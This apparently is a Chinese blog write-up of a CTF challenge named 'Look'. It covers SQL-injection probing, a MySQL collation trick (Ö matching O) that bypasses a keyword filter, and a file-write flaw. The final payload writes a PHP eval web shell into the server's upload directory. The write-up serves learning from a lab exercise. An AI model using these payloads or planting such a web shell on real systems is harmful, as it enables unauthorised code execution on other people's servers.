CTF比赛 十一月场 Look 复现

拿到题吧,一般的我的操作就是,先看看审核元素有有没有什么东西,然后去御剑扫描,git泄露,备份文件泄露,不行就再去burp抓包看看头部,换方法(post换成get)

发现不明的头部,这种头部的话可能是吧他放到请求的头里面,但是这道题是一个参数。然后试一下参数,是get方法的参数

说这个参数错误然后是下其他的

参数过长,我觉得有注入,于是构造'or 1%23 还是说过长,于是乎发现了一种新的姿势

""%1,""*1,''=0  都为真,这里过滤了# 所以还是用%23好用

来到下一个页面

依旧有提示,viminfo,百度了一波,类似于配置文件那种,然后把这个功能也写到软件里面了

进去就能看的文件,然后看到源码

<?php
$con = mysql_connect('localhost','root','');
mysql_query("set names utf8");
mysql_select_db("ctf");
if($_SERVER["REMOTE_ADDR"]=='8.8.8.8'){
    $name = addslashes($_GET['usern3me']);  //对输入转义
}
else{
    if(stripos($_GET['usern3me'],'Bctf2O16')!==false){ //不区分大小写寻找BCt2016 本来该往这里思考的,此地无银三百两嘛,结果想到注入去了
        $name = 'FUCK';
    }
    else{
        $name = addslashes($_GET['usern3me']);
    }
}
echo 'hello '.$name;
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
    echo '<br>next ***.php';
}
?>
我拿到这个 还以为是宽字节注入%df%27,然后结果是
其中第一个if判断远程IP只是一个幌子无法伪造
接着看程序逻辑
需要输入非 Bctf2O(大写O)16但进入数据库查询又当作是Bctf2O16的一个字符串
这里利用一个特性
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。
可以看到大写O和Ö是相等的

所以可以ç=c  或者ô=o 然后出线下一关c3368f5eb5f8367fd548b228bee69ef2.php

这一关人性化,直接给源码了

<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
    $path = $_GET['path'];
    $name = "upload/".$_GET['filename'];
}
else{
    show_source(__FILE__);
    exit();
}
if(strpos($name,'..') > -1){ //从$name 寻找..  所以想通过../的方法去变量的不可行的

    echo 'WTF';
    exit();
}

if(strpos($path,'http://127.0.0.1/') === 0){ //$path 必须以http://127.0.0.1/ 开头
    file_put_contents($name,file_get_contents($path));  //这里是http协议就直接读出返回是数据,然后写入文件里面,我开始想的是php文件流去干事情,但是前面一关条件限制死了,如果没有前面那个条件,我觉得可以用php://input 来命令执行
}
else{
    echo 'path error';
}
?>

这题很巧妙的就是,要去读取上一关的内容然后来写入,上一关有一个

就相当于那个123是可控的,然后把上面的内容写到一个文件里面

那就直接写一句话

payload:filename=1223.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[0]);?>

 

posted @ 2019-04-28 20:34  ha0z  阅读(599)  评论(0编辑  收藏  举报